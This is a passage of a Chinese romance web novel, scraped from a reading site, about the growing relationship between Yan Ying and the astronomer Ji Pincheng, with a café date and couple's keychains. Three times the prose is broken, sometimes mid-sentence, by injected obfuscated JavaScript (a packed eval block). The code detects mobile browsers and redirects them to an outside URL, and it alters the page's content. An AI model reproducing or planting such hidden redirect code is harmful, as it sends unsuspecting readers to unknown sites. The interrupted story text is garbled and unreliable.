季品诚的车是晏迎开回家的,季品诚坐在副驾驶座上侧过头看向她的侧脸。 “季老师,我知道我认真开车的样子很帅,你再这样深情脉脉地看着我,会让我骄傲膨胀得开不好车的。” “我一边开车就会一边想,晏迎你可太漂亮了,让季老师都看呆了。” 季品诚弯弯唇角笑了:“嗯,你说得没错。” 晏迎冲他眨眨眼:“现在是晚高峰,还有点堵车,离到家还早呢,你闭眼休息一会吧,小睡一觉都足够了。” “好。” 季品诚换了个舒服的姿势,闭上了眼睛。 前面正好有一个六十秒的红灯,晏迎减速停车,对他的脸注目。 他好像真的睡着了,很平静,没有了刚刚一个人在车里脆弱的模样。 晏迎忍住了想要伸手摸摸他的脸的冲动。 这张清俊温柔的脸,她一想到季磊谦也长了一张差不多的就来气。 车窗外,万家灯火通明,像是在漆黑的夜中,聚集的无数温暖。 晏迎平静地想,谁也无法预料到下一步会发生什么,只能走一步看一步了。 只要她和季品诚在一块儿,没有什么困难是解决不了的。 前方红灯变绿,晏迎一脚油门,向前开去。 很多事情,既然遇见了没有回头路可以走,那就…一往无前。 季品诚其实在车里没有睡着,他闭起眼睛,想了很多。 他想的最多的,就是接下来的路,怎么和她一起走。 人这一生之中也许要放弃很多东西,但他绝对不会放开她的手。 是的,绝不。 晏迎轻声哼起一段舒缓的旋律。 季品诚在这段旋律里笑着睁开眼睛,她感受到他的目光,和他对视。 “我就知道你没有睡着,因为我刚刚看你的时候,你眼睫毛眨了两下。” 季品诚笑了,岔开了这个话题:“你刚刚唱的什么歌,很好听。” “不愧是季老师,真的是太有品味了,这首歌是一位著名作曲家创作的。” “谁?” “她的身份可多了,是南城有名的大美人,春雨公司的设计总监,世界上最酷最善良最温柔可爱的大好人,还是南城大学天文学院季品诚教授的女朋友,她就是晏迎女士!” 季品诚的大脑缓冲了几秒,他笑着伸出手鼓掌道:“嗯,不愧是晏迎女士。” 这个天越来越冷了,菜也冷得快。 苏阿姨又把菜给热了一遍,门在这个时候开了。 进门的顺序分别为:季品诚、晏迎、以及晏远。 晏迎自然地换上了那双粉红色的毛绒拖鞋。 苏阿姨的眼睛一亮!诶!她就说吧,晏迎就是季教授的女朋友! 晏迎冲苏阿姨笑着打招呼:“苏阿姨好久不见,我今天又拖家带口来蹭饭了!” 被晏迎带来的晏远也在后面乖巧地打招呼道:“苏阿姨好。” “好好好,好孩子,快坐下来。” 这顿饭吃得欢快,四个人,三个e人,一个i人。 气氛想不活跃都难。 季品诚话少,晏迎笑的时候,他也会弯弯唇角,然后目光投向她的侧脸。 他很喜欢看她笑,不管是抿嘴轻笑还是露出八颗牙齿大笑。 他的目光,始终落在有她的方向。 吃完饭,苏阿姨收拾桌子,晏远借口看书溜回了家。 客厅只有晏迎和季品诚两个人,晏迎打开了他家的电视机,靠在他旁边看起了电视。 七点半的南城卫视,最喜欢放狗血的肥皂剧。 季品诚不感兴趣,也陪着她一起看了起来。 小区里有小孩子在放烟花,烟花的爆炸声和笑声混合在一起,吵吵闹闹的。 要是换作以前,晏迎会觉得吵得耳朵疼,可今天,在这间温暖的房子里,她倒觉得还行,也不是特别特别讨厌。 大概和爱人在一起的时候,对待一切都会宽容点。 晏迎握住了季品诚的手,模仿着电视剧里女主角的口吻和台词说:“这位亲爱的先生,请不要难过,冬天马上就要过去,春天和我,会长存在你身侧。” 季品诚在暖黄色的灯光之下注视着她,他并没有像是电视剧里的男主角一样感动地去拥抱她。 他回握住她的手,像是找到了世界上最珍贵的宝藏。 他尝试着,把脑子里感性的词句,用理性组合成句,来向她,解剖自己的真心。 “晏迎,你比春天,更温暖。” 窗外的烟花声音噼里啪啦地响着,像是地球爆炸。 晏迎假装没有听见,揉了揉自己的耳朵,在噼里啪啦的声音里大声问他:“季老师!你刚刚对我说什么?我没有听清楚!” 他刚刚说得太轻,而她又恰好贪心,想要再听一遍。 季品诚笑着叹了口气,捂住了她的耳朵,隔绝了外面吵闹的声音。 他的手掌心温暖且干燥,晏迎的耳朵里响起剧烈的心跳声,轰隆隆似列车,穿过被冰雪覆盖的冬天,开往阳光明媚的春天。 烟花声终于停住了。 季品诚松开了捂着她耳朵的手,正视着她的眼睛,对她重新说了一遍。 “晏迎,你比春天,更温暖。” 晏迎抱住了他,在他的怀抱里没有说话。 苏阿姨在厨房忙活,她嘴里嘀咕着,马上就要过年了,这一年可过得真快。 季品诚安静地被她抱住,听到她在怀抱里说:“季品诚同志,我可太喜欢你了。” “嗯。” “Ilikeyouverymuch.” “嗯。” “Mipiacimolto.” “嗯。” “Jet''aimeaussi.” “嗯。” 晏迎不说话了,她已经把她会的所有语言都说了一遍。 季品诚的笑声在她耳畔响起,像是猜中了她的心思。 他补充了一句:“Ichmagdichauch.DubistdemLebengleichgestellt.” 他的发音很标准,可晏迎没有听懂。 她从他的怀抱里抬头疑惑道:“这是哪国话来着,啥意思?” 季品诚摇摇头,慢悠悠地开口:“不告诉你。” 晏迎使出了激将法:“切,你刚刚那句话还挺长来着,不会拐弯抹角骂我了吧?” 他对她的套路已经了然于心,丝毫没有上当。 “嗯,你猜对了,我说你是世界上最笨的笨蛋。” 如果不笨,怎么会那么义无反顾,到自己身边来? 晏迎哼了一声,直接开始对他动手动脚,她双手捧住那张眉眼俊朗的帅脸,想要狠狠揉一下,但还是放轻了手里的动作。 不行,人是她的,揉坏了揉疼了不好看了吃亏的还是自己。 “季品诚,”她一字一句地叫他的名字,“其实有时候我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186531|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得你有多聪明。” “你,才是,世界上,最笨的笨蛋。” 她嘿嘿一笑,扬眉冲他恣意道“虽然我听不懂你刚刚的话,但我很清楚一点。” “什么?” “你肯定说了你很喜欢我!” “嗯,很聪明,前半句完全正确。” “那后半句呢?” 季品诚把她掉落在耳边的碎发顺到耳后,他的声音突然变低,像是在宁静的教堂中起誓。 “我以后慢慢告诉你,你放心,我一定会告诉你的。” 不止这后半句的含义,还有,他的过往,他的心迹,以及他的一切。 “好啊,反正我们不着急,慢慢来。” 电视上在播放片尾曲,还怪好听的,晏迎窝在他的怀抱里轻轻哼唱。 有人的手指穿过她的长发,像是给猫顺毛一样替她按摩头皮。 晏迎舒服地闭上了眼睛,希望时间静止,可以一直这样下去。 晏远从专业书里抬头,整理了一下桌子上的草稿纸。 手机发出“滴滴”的声音,是一条好友验证消息。 头像是个女生的,验证消息是“晏迎学姐,想问问你一些专业问题。” 晏远只看了一眼,就点击了“拒绝”这两个字。 她知道对面是谁,所以她此刻有些重地放下了手里的笔,烦闷地深呼吸。 是张浩。 这件事情还是上次赵芸暗戳戳提醒她的。 赵芸参加社团活动的时候无意间听到同社团的张浩说到晏远,她就留心多听了几句。 张浩的那帮狐朋狗友给他支招,让他注册一个新号加上晏远,先在网上以“同校同学”的身份混熟,讨论专业,讨论兴趣爱好,什么都聊一聊嘛,然后就可以顺理成章地约出来了。 卑鄙无耻下流,晏远握紧拳头。 但这事她不想告诉姐姐,给姐姐增加烦恼。 晏远看向书桌上自己和姐姐的合照,无声地笑了笑。 从小到大,姐姐已经为她操心得够多了。 血缘的羁绊和二十几年的相处,晏迎的存在对于晏远来说,就像是最最亲密的左右手。 她和姐姐之间,如果如何一方消失在这个世界,那相当于,自己也死掉一半,被抽干一半血液。 她是这个世界上最了解姐姐的人,所以她也比任何人,都希望姐姐可以幸福。 她不愿意自己,成为姐姐生活的负担。 只是姐姐会和季老师在一起,是她怎么也没有想到的。 想到这,晏远觉得人生真的很有趣。 两个性格完全不一样的人,居然可以,被对方深深吸引,然后并肩走下去。 那条好友验证张浩又发了一遍。 出乎意料,晏远又拒绝了一遍。 警惕性还挺强嘛,张浩摸了摸下巴,有点烦躁地丢开了手机。 有朋友和他干杯:“浩哥怎么了?谁惹你不高兴了?” “没事,继续喝。”张浩歪嘴笑了笑,不去想晏远的事情。 张峰和他说过了,季家要给南城大学捐赠,听说上头那位一高兴,又给学校有捐赠了一个图书馆。 学校现在风风火火地筹备着这次的捐赠仪式,张峰作为天文学院的代表,这个节骨眼上,他不允许出现任何的问题。 张浩被他拉着警告了一顿,这段时间不得已勉强老实了。 但他不会放弃晏远的,等过了这次捐赠仪式,他再想别的办法。 27. 27 晏迎买的情侣挂件和情侣杯子到货了。 这两个快递还是晏远顺手给她带回来的。 外面此刻正下着淅淅沥沥的小雨,跳跃的雨滴将晏远的头发弄得有点潮。 晏远一进门的时候,就把目光锁定到了晏迎身上。 她挑眉意味深长地看了眼姐姐的背影,想笑又不敢笑。 快递单子上写着“永不分梨抱抱情侣杯陶瓷贴贴马克杯可爱喝水一对杯子”,“情侣挂件钥匙扣包包挂饰创意礼物定制。” 晏远:“???” 天呐哈哈哈哈哈哈,姐姐居然会买这种小玩意儿,她可太期待姐姐送给季老师的时候,季老师是什么表情了。 晏迎今天不上班,她穿着居家睡衣躺在沙发上,身上盖了条毛绒绒的毯子。 外面的雨声是天然的白噪音,带着催眠的效果,让晏迎有些昏昏欲睡。 晏远把快递盒子放在桌子上的时候,她已经睡着了。 晏远知道她这几天工作辛苦,蹑手蹑脚地回到了自己的房间看书。 外面的雨好像越下越大了,晏迎半梦半醒间,梦里都被雨声填满。 她梦到了季品诚在和她一起做饭。 狭小的厨房里,他们紧紧挨在一起,身上只穿着睡衣。 厨房里面热火朝天,油烟味儿有点呛人。 汗水打湿了他们的衣服,勾勒出季品诚诱人的身材。 他穿上衣服乍一看是属于清瘦的学究型,但脱掉或者穿少一点,就显露出精壮结实的肌肉来。 尤其是腰部那一块,还是腰围较小且臀部向外突出的公狗腰… 晏迎已经忘了自己拿着锅铲在翻炒什么了,她的眼睛直勾勾地盯着季品诚,目光的温度比面前的锅还滚烫。 她一直看啊看啊看啊,梦里的季品诚终于忍不住出声提醒道:“你的青椒肉丝炒糊了。” “啊?”晏迎的目光还粘在他的肌肉上,大脑反应了三秒,才把目光投向了滋滋冒着热气的锅。 “啊!”她看着面目全非的青椒肉丝大叫了一声,美色误人,美色误人… 季品诚熄灭了灶台上的火,淡淡看了眼炒糊的青椒肉丝,又平静地把目光投在了晏迎身上。 他甚至咧开唇角笑了笑:“你刚刚到底在分神什么?这么专注?要不是我出声提醒你,你得把锅炒穿一个洞才发现。” 晏迎在梦里诚实道:“我在看一种非常非常好吃的东西。” 他的身体。 季品诚推了推眼镜,疑惑道:“什么好吃的?” 什么好吃的长在了他身上,让她的目光黏稠地吸附着自己,不愿意挪开。 反正菜已经炒糊了,晏迎索性直接摆烂了。 她冲季品诚勾勾手指头:“季老师,你过来,再靠我近一点,我告诉你。” 他不管是在梦里还是梦外,都是那么好骗。 就在季品诚靠近她的那一瞬间,晏迎一把摸上了他的腰,直接把他揽了过来。 体型差的冲击让晏迎一下子站不稳,季品诚手急眼快地扶稳了她。 两个人的皮肤相贴,呼吸温热,气氛暧昧无限。 季品诚低头,皱眉看着她,眼神里却是极致的温柔,他故意用严肃的口吻凶道:“你到底想干什么?” 晏迎怎么可能怕他? 她笑嘻嘻地看着他,目光里甚至还带着得意,她得寸进尺地抚摸着他的脸,声音柔婉如蜜。 “季老师,我想和你…” 后面那几个字,她没有说出来,因为光是想想,就让她呼吸混乱,面色潮红。 季品诚感受到她的呼吸在加快,他不解地问道:“想和我干什么?” 下一秒,他的后脑勺被她按住,她深深吻上他。 厨房狭小的分寸之地,只够容纳他们两个人,外面在下雨,世界被淋湿。 晏迎醒过来的时候,闭着眼睛不愿意睁开。 服了…她动了动,自己得去洗个澡。 该死的排卵期。 晏迎洗完澡后就收到了季品诚的消息。 “雨停了,我现在在一家新开的咖啡厅,我觉得是你会喜欢的风格,这里招牌巧克力蛋糕看上去也不错,一起尝尝吗?” 晏迎眨眨眼睛,她双击了一下季品诚的头像。 “我拍了拍季品诚,他在火星上种马铃薯。” 这个拍一拍,还是晏迎上次拿了他的手机设置的。 季品诚收到了她的拍一拍,他坐在咖啡厅里盯着屏幕无声地笑了笑。 他双击晏迎的头像。 “我拍了拍晏迎,她在火星炸薯条。” 晏迎笑出了声。 “我马上就来季老师,你把地址共享给我。” “好。” 晏迎太想念他了,所以她几乎是简单收拾了一下,把带给他的礼物放到包里就火速冲出了门。 连伞都没有带。 她一眼就看到了那家亮眼的咖啡馆,装修是色彩鲜明的波普艺术风格。 晏迎走进去,就忍不住驻足,这炫酷的设计也太抓人眼球了吧,拿出手机随手一拍就很出片。 感觉像是置身在色彩斑斓的糖果世界。 季品诚坐的位置在咖啡厅的角落,他没有出声叫她,不想打扰她欣赏四周的环境。 他对她注目,在一片片无比亮眼的色彩里,她是他眼中最鲜明的一抹。 晏迎也在亮色里一眼就看到了季品诚,他穿着黑色的大衣,是五彩斑斓里最寂静稳重的黑。 她刚刚其实不是在欣赏四周的陈列,她是在找他。 没有什么比找到他更加重要了。 她像是一只欢呼雀跃的小鸟,快步奔向了他。 季品诚出声:“慢点,地板上刚刚有人拖过地,很滑。” 晏迎一屁股坐在了他的对面,冲他眨着星星眼道:“滑倒了岂不是正好?季老师你肯定会飞奔过来接住我,就像是跳华尔滋一样,你抱住我的腰…” 季品诚红着脸咳嗽一声,把面前极具艺术风格的菜单推到了晏迎面前:“看看有没有喜欢的咖啡和点心。” “季老师,你喝什么?” “决定权给你,你帮我点。” 晏迎点点头,撑着头认真去看菜单:“既然季老师你如此信任我,我就放开来点啦。” 淡黄色的暖光打在她的脸上,季品诚看向她的脸。 她的目光滑过菜单上的字,有时候停顿一下,像是在思索好不好喝。 看到稀奇古怪的咖啡名字,她会自个先弯弯唇角笑一笑,再抬起头凑到他面前小声地吐槽。 “哈哈哈季老师你看这个咖啡的名字看上去就很命苦。” “叫什么?” “咖啡名字叫苦命。” “这个澳门不败咖啡是什么东西?” “澳白。” “这个活着咖啡呢?” “浓缩美式。” “麦田里的守望者呢?” “燕麦拿铁。” 季品诚叹了口气,这都是些什么稀奇古怪的名字。 晏迎倒是兴致勃勃的样子,继续往后面翻,他调整了一个更舒服的姿势,继续去看她。 菜单有什么好看的,还是她好看,她眼睛亮晶晶的样子真的很可爱。 一本菜单看完,晏迎叫来服务生点单。 “一杯地球拿铁、一杯黑洞拿铁,再要一个熔岩巧克力蛋糕,一个巧克力杏仁蛋糕和一份阿芙佳朵。” “好的您稍等。” 晏迎冲季品诚眨眨眼睛:“保证季老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191743|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意。” “你点的我都会满意,只是我真的很好奇,地球拿铁是什么东西?” 天文人的DNA又动了。 晏迎知道他会关注这个,笑着解释道:“我特意给我们两个点了这个系列的拿铁,你是地球拿铁,我是黑洞拿铁。” “地球拿铁呢,是加了蓝色椰子粉、厚椰乳、抹茶粉的意式咖啡。” “黑洞咖啡呢,是加了竹炭粉和厚椰乳的意式咖啡。” 发散性思维让晏迎忍不住提问:“季老师,你说地球掉进黑洞里面会怎么样?” 季品诚思考了一下回答道:“会产生引力透镜效应,地球上的光线会被扭曲,还有发生时间膨胀,地球上的时间会逐渐减慢,可能地球上过了几秒钟,但是外面已经过去了好几年。” “最后,地球还会意大利面化,奇点附近的引力会拉扯地球,把地球变得像拉长的意大利面一样。” 晏迎今天没怎么吃东西,她听到这里的时候,肚子“咕咕”叫了一声。 季品诚看她一眼:“饿了?” “嗯,”晏迎点点头,“地球意大利面听上去很好吃的样子。” 服务生把他们的拿铁和甜品端了上来,季品诚又让他加了一份意大利面。 “地球意大利面不好吃,”他笑了,“还是来一份番茄意大利面吧。” 在等待的过程中,晏迎又忍不住向季品诚提了好几个稀奇古怪的问题。 "季老师,人掉进黑洞里会怎么样呀?" "会遇到非常强烈的引力作用,这种引力会不断地增强,超过人体所能接受的极限,把人撕裂成碎片。在某些特定的情况之下,人体还会被引力纤维化,被黑洞的引力拉长细长的丝状。" 晏迎"咦"了一声:"那岂不是变成人体拉面了?" "嗯,你形容得不错。" "好吧,那这样还是算了。" "什么算了?"季品诚好奇道。 "没什么,就是我以前看过一个科幻片,人掉到黑洞里之后穿越到了未来。我想着,如果我掉到黑洞里,我不想穿越到未来,我要穿越到过去。" 季品诚认真听着她的话,反问道:"为什么要回到过去?" "我想去见过去的你,让你变得比现在还要开心。" 她微笑补充,"我要请你吃糖,请你去游乐场玩过山车和旋转木马,和你一起画画,玩游戏,养只小狗,去体验很多有意思的事情。" "我想从那个时候开始就认识你,和你成为很好的朋友,再告诉你,你是很好很好的人。" 外面又下起了淅淅沥沥的小雨,雨声混合着咖啡厅播放的轻音乐,让这个五彩斑斓的世界变得空灵。 季品诚先是愣住,然后他冲她笑了。 有什么东西正在他心中崩塌,又在他心中被重新构建。 他的脸变得有点红,像是想要掩盖住这份过于明显的心动,他清了清嗓子开口道:“掉进黑洞的风险太大了,你还是不要尝试了,会被黑洞所吞噬,吸收到黑洞内部,成为黑洞的一部分。” “哦?”晏迎故意做出一副好怕怕的样子,但语气里丝毫不带怕的。 “如果我掉进黑洞里,你会怎么办?” 季品诚盯着她的眼睛,沉默不语。 十秒过后,晏迎伸出手在他面前挥了挥:“喂,季老师,你想出答案了吗?” “我并没有设想过生命里失去你。”他的语气很平静,就像是在陈述一个客观的事实。 晏迎的笑容淡去,有些诧异地望向他的眼底。 “我刚刚想了一下,觉得...如果你真的掉进黑洞里的话,我大概救不了你,那我会去黑洞里面找你。” “和你一起变成黑洞里面永久存在的物质之一。” 28. 28 晏迎尝了口季品诚的地球拿铁,味道出乎意料的好喝。 她的黑洞拿铁喝了一口,嘴唇像是吃了碳一样变成黑色。 她没想到里面的竹炭粉那么顽固。 季品诚不去看她,低头憋笑。 晏迎把自己的咖啡杯推到季品诚面前,挑眉道:“季老师你尝尝我的。” 季品诚摇头拒绝:“不了,我可不想嘴唇变成黑色。” “哼。”晏迎换了一个位置,她坐到了季品诚的旁边,“我给你点的地球拿铁又好喝又正常,自己点的黑洞拿铁味道一般还…” 还被整蛊了… 她看着他英俊的侧脸,一个坏主意冒了出来。 他们的位置在角落,周围也没什么人,晏迎又往季品诚这里坐了一点,趁季品诚拿勺子去挖熔岩巧克力蛋糕的瞬间,飞速吻上他的侧脸。 他的侧脸上,印上了一枚黑色的唇印。 熔岩蛋糕里的巧克力酱流淌了一盘子,像是季品诚此刻的心情。 突如其来,却又甜蜜肆意。 她得逞地冲他眨眨眼睛:“恭喜你季老师,获得今天的特等奖,我的吻一枚。” 季品诚把勺子里挖了一块的熔岩蛋糕喂到晏迎嘴里:“嗯,我可真谢谢你。” 他伸出食指轻轻触碰刚刚她吻过的地方,没有擦掉。 晏迎重新点了一杯玫瑰拿铁,用湿巾纸擦掉了自己嘴唇上的竹炭粉,重新补了一个口红。 季品诚在品尝阿芙佳朵上面的冰淇淋,那枚黑色的唇印还残留在他的侧脸上。 晏迎笑了笑,伸出手托住他的下巴,重新拿了一张湿巾纸帮他擦拭掉那枚印记。 她亲的,她得负责。 晏迎在心里赞美自己,真是一个有责任心的女人。 她给季品诚擦拭的时候,季品诚垂眸去看她,她脸上是一点也不藏着,那点小得意让人一览无余。 季品诚也弯弯唇角笑了笑。 他们现在的距离挨得太近了,这么近的距离,他们的呼吸都交融在了一起。 这让晏迎联想到了,她下午做的那个梦。 那枚印记终于擦干净了,她一下子就松开了季品诚的下巴,脸色微红。 她甚至起身,想坐回对面的位置,不要挨着他这么近。 排卵期满脑子就想着那点事情,他现在对她来说,就是行走的春/药。 季品诚对她突然的转变非常不理解,他一下子拉住了她的手,让她不能离开现在的位置。 “你干什么,这里还有别人呢…” 季品诚冷哼一声:“你刚刚亲我脸的时候怎么没考虑这么多?” 晏迎只是看着他不说话,表情逐渐有点委屈。 都是他的错,现在居然还敢质问她。 季品诚脑子里的问号越来越大,把这几天的事情都走马观花迅速想了一遍。 自己这几天也没得罪她,怎么这么气鼓鼓的? 她要亲就给她亲,要抱就抱,要动手动脚他也不反抗。 晏迎看着他一脸懵的表情又笑了,她换了个姿势,得寸进尺地挨着他,还像小猫一样蹭了他一下。 “我今天下午做了一个梦。” “嗯,什么梦?”季品诚听出来了,症状在这个梦上面。 晏迎喝了口冰玫瑰拿铁冷静一下,她脑子里出现的画面让她顺了顺自己的胸口,缓一缓再组织语言。 “额,就是,我们两个在厨房一起做饭…” “嗯,继续说。” “那个什么,我在炒青椒肉丝,你在做什么来着我忘了,但这不重要。” “嗯,你挑重点说给我听。” 晏迎眼皮子跳了一下,大庭广众,青天白日,在这么有氛围感的咖啡厅说“重点”也太…太刺激了吧。 她对上季品诚极度有求知欲的眼神,咳嗽了两声:“就是,就是,我把青椒肉丝炒糊了,你在梦里凶我,还把我那个什么…” “什么?” “你把我在厨房狠狠收拾了一顿!” 嗯,对,这样说也没什么毛病,她在心里夸自己,晏迎你可太会春秋笔法了。 季品诚皱眉:“梦都是反的,你只是炒糊了一道菜而已,这种小事有什么好生气的,我怎么可能因为这种事情狠狠收拾你呢。” 晏迎在他的话里特别羞愧,这种羞愧的组成部分百分之九十九的暗爽,百分之一的惭愧。 她知道季品诚理解的“收拾”就是字面意义上的收拾,但他那样正经端方的人,刚刚从嘴里严肃地说出“狠狠收拾你”这几个字的时候。 晏迎的雷达动了,她下意识地夹紧了一下腿。 她又给自己猛灌了一大口冰拿铁,不去看季品诚的眼睛,默默吃着面前的小蛋糕。 这小蛋糕在嘴巴里滋味也变得怪怪的了。 她想吃季品诚,但总不能回家关上门就扑上去吧? 她是爱他的,得要循序渐进,火候到了慢慢来,心急吃不了热豆腐。 他这种得要慢慢品尝,太操之过急反而适得其反失了美味。 晏迎的眼神逐渐平静,给自己做了一番心理建设之后成功说服了自己。 季品诚见她冷着一张脸用力挖着面前的蛋糕,以为她还在为那个梦生气。 他叹了一口气对她道:“我在那个梦里很过分吗?” 他很紧张,口吻也显得小心翼翼。 晏迎刚刚给自己做好的心理建设,被他那双清亮的眼睛一看,“哗”的一下崩塌了。 靠,季品诚越是高风亮节,她越是难耐。 更何况他现在就坐在她的对面,她每看他一眼,都觉得自己是在望梅止渴。 该死,她在心里骂自己,晏迎你现在怎么那么喜欢用下半身思考了? 简直太混蛋了! 骂完之后她又给自己找借口,算了,人之常情,情理之中。 晏迎对季品诚笑了笑:“是挺过分的,但我也不是什么好东西,我在梦里其实对你更过分。” “算啦季老师,”她拍拍他的手背安抚他,“你请我吃这顿下午茶,就当作是抵消那个梦里过分的事情了。” “好,”季品诚点点头,特别实诚地把菜单又推给了她,“你看看还有没有什么想吃的,我买单。” 晏迎叉了卷意大利面送到他嘴边:“不用不用,这么多就够了。” 季品诚看她一眼,低头顺从地接受了她的投喂。 吃得差不多了,晏迎才想起来最重要的东西没有给季品诚。 她冲季品诚笑道:“对啦,我有礼物给季老师。” “你拆开看看。” 季品诚先拆了那个大点的礼物盒,里面是一对情侣杯子,两个拥抱在一起的梨子。 晏迎神秘兮兮地凑过去对他说:“知道这是什么意思吗?” 季品诚的食指敲了敲包装盒上“永不分梨”四个大字。 “嗯,是这个意思。” 晏迎知道他脸皮薄,不好意思说出来,故意道:“啥意思啊,我不认识字,你告诉我呗。” 季品诚轻轻“呵”一声,他深呼吸一口气,指着上面的四个字一个字一个字地念道:“永、不、分、离的意思。” “哦?原来是这个意思啊,那你愿意和我永不分离不?” “你说呢…” “我说啊,嗯…你肯定是愿意的,毕竟你都愿意和我一起跳进黑洞里变成永恒的物质,这种死也不分开的精神,特别可贵。” 晏迎捂嘴笑了:“好啦好啦脸不要这么红了,我不逗你了,拆开另外一个看看吧。” 另外一个礼物里面,是她定制的一对情侣挂件。 季品诚的目光一滞,心跳加速,手都有些发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199780|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那是一对星球挂件。 冥王星Pluto和卫星卡戎。 晏迎假装没有看到他有些激动的反应,笑着冲他眨眨眼睛道:“嘿嘿,惊喜吧,我特意定制的,我想…这个挂件的意思,应该不需要我解释了吧。” 两个天体,被引力作用锁定,是太阳系里唯一互相锁定的一对。 卡戎环绕冥王星公转的周期,恰好等于卡戎自身的自转周期和冥王星自身的自转周期。 它们始终始终保持同一面朝向对方,永不分离。 地表温度零下229度的Pluto,位于太阳系的最边缘,在二十年前就被天文学家于行星之中投票除名。 就像是他被季家不认可的一生。 它是一颗冰冷的,孤独的星球。 在没有阳光能够穿越的,长达60亿公里的旅程中,它的卫星卡戎一直陪伴着它。 同步自转,潮汐锁定。 晏迎把卡戎挂在了自己的钥匙上:“季老师,这个情侣挂件一般人还看不出来,太明显的反而没什么意思,这种只有咱俩能懂的秘密才好玩儿。” “你喜欢不?”她笑眯眯地问他。 季品诚拿出自己的钥匙,把那颗冥王星也挂了上去。 “我很喜欢。” 晏迎长长呼出一口:“你喜欢就好!我还在担心你会嫌我幼稚呢。” 哼,晏迎在心里暗暗想,要是敢嫌弃她幼稚保管他吃不了兜着走。 季品诚千言万语堵在嗓子眼里,但是不知道怎么表达,他只是温柔对她注目。 他不会说什么太肉麻的话。 但幸好,她是一个非常非常好的爱人,明白他的沉默之下,那颗早已沸腾的真心。 所以,她会引导他,更近一步地感受一切。 “季老师,我愿意做你的卡戎,和你一起,奔向太阳。” 她的声音很低,因为只想他一个人可以听见。 她说,人生海海,在浩瀚无垠的宇宙里,渺小又短暂,季老师,想爱就和我一起放心大胆地去爱。 外面的雨越下越大了,季品诚的耳道里被雨声所充斥着,她的话顺着雨声一点一滴流淌在他心里,成为他身体里最干净的血液。 晏迎看了一眼窗外轻轻“嘶”了一声:“糟糕,我出门的时候没有带伞。” “我带了,我们可以共撑一把伞。” 晏迎在他的伞下躲雨,和他挨得很紧,大雨的潮气扑面而来,将他们身上的气息混合在一起,潮湿且暧昧。 玫瑰的芳香馥郁和雪松的清冽迷人。 咖啡的苦涩和巧克力蛋糕的甜蜜。 相互碰撞,又相互融合,直到合二为一,成为雨水泥土气息里,不朽的生命力。 前面是一个六十秒的大红灯,他们的脚步停住。 晏迎仰头看向他的侧脸,伸出手不怀好意地帮他理了理衣领。 季品诚低头和她对视,晏迎得寸进尺踮起脚尖吻了吻他的下巴。 路人视角里,他们就是天造地设的一对。 雨水调皮地淋湿他们,让他们依靠得更加紧密。 季品诚在那个吻里,耳垂发烫发红。 晏迎故意招惹他,语调俏皮:“季老师,您是第一次谈恋爱吗?” 一个蜻蜓点水一样的吻,都可以这么激动? 他别过眼睛没有回答,但此刻的沉默却已胜过了千言万语。 伞偏向她大半,如同他已经倾斜的心。 季品诚在“哗啦啦”的雨声里,认命地闭上了眼睛。 他挣扎了一下,用没有撑伞的那只手,捧住她的侧脸,然后… 他在潮湿的雨水气味里,将她吻住。 晏迎先是不可思议,随即,她变本加厉地回应。 雨滴落成钻,吻相碰动心,世界在他们之间,就此暂停。 29. 29 下午的时候季品诚是被学校里的一个电话叫走的,实验室正在进行的项目出了点小问题,他的研究生打电话给他求救。 晏迎那会靠在他怀里看电影,拍拍他的肩膀懒洋洋地说:“慢走不送。” 他笑着起身,由着她亲了亲自己的面颊,再在她的额头上回礼。 电视里放的是经典电影《泰坦尼克号》。 现在正播放到露丝为了杰克跳下船,两人热烈相拥的画面。 季品诚回头笑着看了晏迎一眼,然后轻轻关上了门。 房间里此刻就留下了晏迎一个人。 这部电影晏迎已经看过很多遍了,她有些无聊地打了一个哈切。 她的手机铃声响起,正是泰坦尼克号的片尾曲《myheartwillgoon》。 她瞥了一眼这个陌生的号码,不详的预感涌上心头。 她犹豫了几秒,还是接通了。 “喂?”晏迎的眼睛还停在屏幕上,此刻杰克和露丝紧紧吻在一起。 他会在恋爱顶峰时期死亡,她会思念他一生。 哪怕知道他们注定的结局,晏迎也看了一遍又一遍。 “好久不见,亲爱的晏小姐。” 晏迎握着电话的手一紧:“季磊谦?” 季磊谦隔着电话听出了她的紧张和惊讶,他笑出了声:“嗯,聪明美丽的小姐,是我,你有没有想念我?” 晏迎翻了一个白眼,觉得他简直有毛病。 她故意忽略了他话里的油嘴滑舌,放冷了自己的声音,有点不耐烦道:“您找我有什么事吗?” “没事啊,”他听到她冷冰冰的声音反而更加温柔了,“我就是想你了,如果你愿意赏脸一起吃个晚饭的话就更好了。” 